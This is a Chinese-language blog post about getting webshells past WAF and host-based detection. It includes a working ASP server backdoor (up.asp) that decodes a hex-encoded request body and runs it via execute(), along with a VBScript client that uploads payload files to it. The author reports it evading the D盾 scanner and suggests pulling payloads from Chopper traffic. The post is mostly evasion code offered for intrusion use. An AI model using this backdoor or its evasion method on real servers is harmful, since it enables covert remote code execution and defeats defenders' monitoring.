輕鬆繞過市面上waf對webshell的動態攔截

一句話木馬是一般是指一段短小精悍的惡意代碼,這段代碼可以用作一個代理來執行攻擊者發送過來的任意指令,因其體積小、隱蔽性強、功能強大等特點,被廣泛應用於滲透過程中。最初的一句話木馬真的只有一句話,比如eval(request(“cmd”)),後續為了躲避查殺,出現了很多變形。無論怎麼變形,其本質都是用有限的儘可能少的字節數,來實現無限的可任意擴展的功能。

一句話木馬從最早的到現在,也有快二十年的歷史了。客戶端工具也從最簡單的一個html頁面發展到現在的各種GUI工具。但是近些年友軍也沒閒著,湧現出了各種防護系統,這些防護系統主要分為兩類:一類是基於主機的,如Host based IDS、安全狗、D盾等,基於主機的防護系統主要是通過對服務器上的文件進行特徵碼檢測;另一類是基於網絡流量的,如各種雲WAF、各種商業級硬件WAF、網絡防火牆、Net Based IDS等,基於網絡的防護設備其檢測原理是對傳輸的流量數據進行特徵檢測,目前絕大多數商業級的防護設備皆屬於此種類型。一旦目標網絡部署了基於網絡的防護設備,我們常用的一句話木馬客戶端在向服務器發送Payload時就會被攔截,這也就導致了有些場景下會出現一句話雖然已經成功上傳,但是卻無法連接的情況。

本文以asp代碼示例,以客戶端發送二進制代碼,服務端接收並解碼,從而釜底抽薪,繞過市面上的waf對特徵碼的查殺。原理是先知社區的rebeyond提出來的,不過作者沒有寫asp示例,所以我用asp代碼來示例一下。

服務端up.asp代碼:

	Set node = xmldom.CreateElement("binary")
node.DataType = "bin.hex"

node.NodeTypedValue = request.binaryread(request.totalbytes)

Function hex2ascii(hextext )
For y = 1 To Len(hextext)
num = Mid(hextext, y, 2)
Value = Value & Chr(("&h" & num))
y = y + 1
Next
hex2ascii = Value
End Function
execute(hex2ascii(node.Text ))
%>

我用D盾測試,本以為表面過不了,結果也過了。

輕鬆繞過市面上waf對webshell的動態攔截

這個服務端沒法用瀏覽器直接訪問,會出錯,我寫了一個簡單的vbs 客戶端。

with wscript
if .arguments.count<2 then .quit
url=.arguments(0)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .responseText
end with

使用方法:

cscript up.vbs http://url/up.asp payload.txt

palyload.txt裡你直接寫asp代碼就可以了。

示例:

輕鬆繞過市面上waf對webshell的動態攔截

常規一句話,D盾會有:

輕鬆繞過市面上waf對webshell的動態攔截

我這個D盾毫無反應。其它waf大家自行測試。

至於payload.txt裡的內容,可以去菜刀抓包,或是lake2的哪個版本里直接就有代碼的,提取出來就可以了。

這只是個簡單示例,需要對asp代碼較熟,其它擴展功能,自行實現吧。


分享到:


相關文章: